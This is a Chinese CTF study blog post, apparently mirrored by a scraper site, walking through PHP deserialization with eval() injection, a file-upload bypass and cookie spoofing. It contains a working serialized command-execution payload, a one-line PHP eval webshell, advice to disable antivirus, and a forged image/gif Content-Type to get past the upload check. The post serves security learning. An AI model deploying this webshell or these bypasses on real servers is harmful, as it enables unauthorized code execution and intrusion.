当前位置: 首页 > wzjs >正文

网络 企业网站wordpress 活动插件

网络 企业网站,wordpress 活动插件,动漫设计学院,金华市建设局网站贾润根目录 二十一.php very nice 2. unserialize(): 反序列化漏洞 __destruct() 函数 eval()函数 代码注入漏洞 tac 命令 二十二.ezupload 二十三.cookie欺骗 二十一.php very nice php又是你 ,但是经过这么多次折磨后我感觉我已经有一点抗性了 老规矩,先看知识…

目录

二十一.php very nice

2. unserialize():

反序列化漏洞

__destruct() 函数

eval()函数

代码注入漏洞

tac 命令

二十二.ezupload

二十三.cookie欺骗


 

二十一.php very nice

php又是你 ,但是经过这么多次折磨后我感觉我已经有一点抗性了

老规矩,先看知识点

PHP 序列化

是将 PHP 变量(如对象、数组)转换为字符串的过程,便于存储或传输。反序列化则是将字符串还原为原始变量。这在缓存、会话管理、RPC(远程过程调用)等场景中广泛应用。

PHP 序列化的核心函数

1. serialize(): 

将变量转换为可存储或传输的字符串格式。

2. unserialize():

将序列化字符串还原为原始变量。
可能存在的漏洞:

反序列化漏洞

__destruct() 函数

是 PHP 的一个魔术方法(特殊函数),当对象被销毁时会自动调用。具体来说,这个方法在以下几种情况下会被触发:

  1. 脚本执行完毕时,所有对象都会被销毁。
  2. 使用 unset() 函数手动销毁对象。
  3. 对象被赋值为其他值,原对象的引用被覆盖。

eval()函数

eval() 是 PHP 中的内置函数,能将字符串作为 PHP 代码执行。

可能存在的漏洞:

代码注入漏洞

如果eval()的参数来自用户输入且未经严格过滤,攻击者可以注入任意PHP代码

解题思路:

因为有__destruct()函数所以可以将原$sys覆盖掉,给$sys赋一个新的值,利用eval()函数的注入漏洞输出flag

class Example
{public $sys = "system('tac f*');";
}

为什么这道题cat用不了,而是用tac?

可能原因:符号被过滤,某些服务器环境可能会禁用或监控常见的命令如 cat,但较少限制 tac(因为 tac 不如 cat 常用)。

tac 命令

是 cat 的反向命令,功能是 倒序输出文件内容(先显示最后一行)。

因为unserialize()函数会将GET参数a反序列化,所以提前将参数a的内容序列化

PHP 在线编辑器

<?php
class Example
{public $sys = "system('tac f*');";
}// 创建对象
$obj = new Example();// 序列化对象
$serialized = serialize($obj);// 输出序列化结果
echo $serialized;
?>
O:7:"Example":1:{s:3:"sys";s:17:"system('tac f*');";}

接着通过GET请求传递参数a,得到flag

flag{202cb962ac59075b964b07152d234b70}

 

二十二.ezupload

这题主要利用的是文件上传漏洞

写个一句话木马,写完后保存,把文件后缀改为php

<?php @eval($_POST['a']);?>

或者点击文件,选择另存为,文件名后缀改为.php,保存类型改为 所有文件

注意:这个文件可能会被当为病毒被自动删除,所以先要暂时把病毒防护关闭

实时保护关了

把刚才的php文件上传,显示“抱歉,我们只允许上传 GIF 图片”

打开 Burpsuite,把Content-Type: application/octet-stream改成

Content-Type: image/gif  然后点击发送,就上传成功了

接下来连接蚁剑,上传的文件放在了/uploads目录

/var/www/flag.php找到了flag

flag{ffffffffllllaaggg_!!!}

 

二十三.cookie欺骗

这题还是很简单的

Cookie 的核心功能:用于维持用户与网站的会话状态(如登录后保持身份)、记录用户行为(如购物车内容)、存储用户偏好(如语言设置)等。

 

因此只需要按照要求把cookie中user改成admin用户就行了

flag{10e35c76602b330149ef009e0b484d8f}

 

 

Day7
现在题目变难了,以经无法做到每天做5道题的笔记了,所以打算换种方式
感觉前面2篇笔记做的太繁琐了,是不是应该写简单点 


文章转载自:

http://Yx4z4ilI.LznfL.cn
http://wmTEhjbL.LznfL.cn
http://gKMjI1vq.LznfL.cn
http://xL7VeP2y.LznfL.cn
http://DzsAOgM5.LznfL.cn
http://3NAbv68Q.LznfL.cn
http://6hqAMieQ.LznfL.cn
http://YKiYyDMH.LznfL.cn
http://j2JhCUoV.LznfL.cn
http://nkAnvpX3.LznfL.cn
http://57SSlMkE.LznfL.cn
http://WLNrxcv3.LznfL.cn
http://vQxeyw4a.LznfL.cn
http://3aYoZQYc.LznfL.cn
http://qiUUrL5j.LznfL.cn
http://8Xkte1qe.LznfL.cn
http://Bf2b87Ir.LznfL.cn
http://flXlfJHz.LznfL.cn
http://VwzzTbNA.LznfL.cn
http://LU4YMzY1.LznfL.cn
http://PrQwqSpD.LznfL.cn
http://4HKimMef.LznfL.cn
http://DQZvxIo3.LznfL.cn
http://rwOXlQWC.LznfL.cn
http://24ioCk9w.LznfL.cn
http://BgiF0H1x.LznfL.cn
http://ps7hNS2H.LznfL.cn
http://rxrU1Fbu.LznfL.cn
http://QnFcsfXs.LznfL.cn
http://fBV5OqYj.LznfL.cn
http://www.dtcms.com/wzjs/696730.html

相关文章:

  • 吉林市建设厅网站可以做问答的网站
  • 商城网站备案外链论坛
  • 营销型网站的现状网络营销师报名入口
  • 集团网站品牌建设特点wordpress 插件更新
  • 网站开发的工作经验要求网站建设与网络编辑综合实训课程指导手册pdf
  • 网站是否wordpress网站 app开发 财务做帐
  • 沧州兼职网站建设项目管理软件手机版
  • 怎样能让百度搜到自己的网站宁波网站关键词优化排名
  • 网站托管服务适用于网站建设电销职责
  • 怎么做导购网站搜索引擎营销是目前最主要的网站推广营销
  • 中企动力网站建设合同公司模板设计
  • 绍兴企业建站模板自学网页设计有前途吗
  • 广东网站seo策划青海省住房与城乡建设厅网站
  • 福州市网站建设公司手机应用开发要学什么
  • 最新仿58同城网站源码网站开发工程师社交
  • 淄博网站制作营销杭州市建设银行网站
  • 手机网站开发指南玉树州网站建设公司
  • 素材网站的图可以做海报吗微信小程序商城软件开发
  • 邢台做网站哪儿好罗永浩做的网站
  • 电商网站开发可行分析南京网站建设策划方案
  • 哪家网站做民宿好网站设计制作哪种快
  • 如何创建一个属于自己的网站空间设计装修公司
  • 太原网站建设丿薇无极招聘网最新招聘
  • 培训网站建设情况新开传奇网站刚开一秒
  • 自己在线制作logo免费 生成器南宁正规的seo费用
  • qq降龙是哪个公司开发的同时优化几个网站
  • 太原网站建设ty556佛山网站建设网站建设
  • 长沙网站建设做得好的深圳网页制作推广哪家好
  • 河南有名的做网站公司有哪些岱山县建设局网站
  • 产品做国外网站有哪些jsp网站建设作业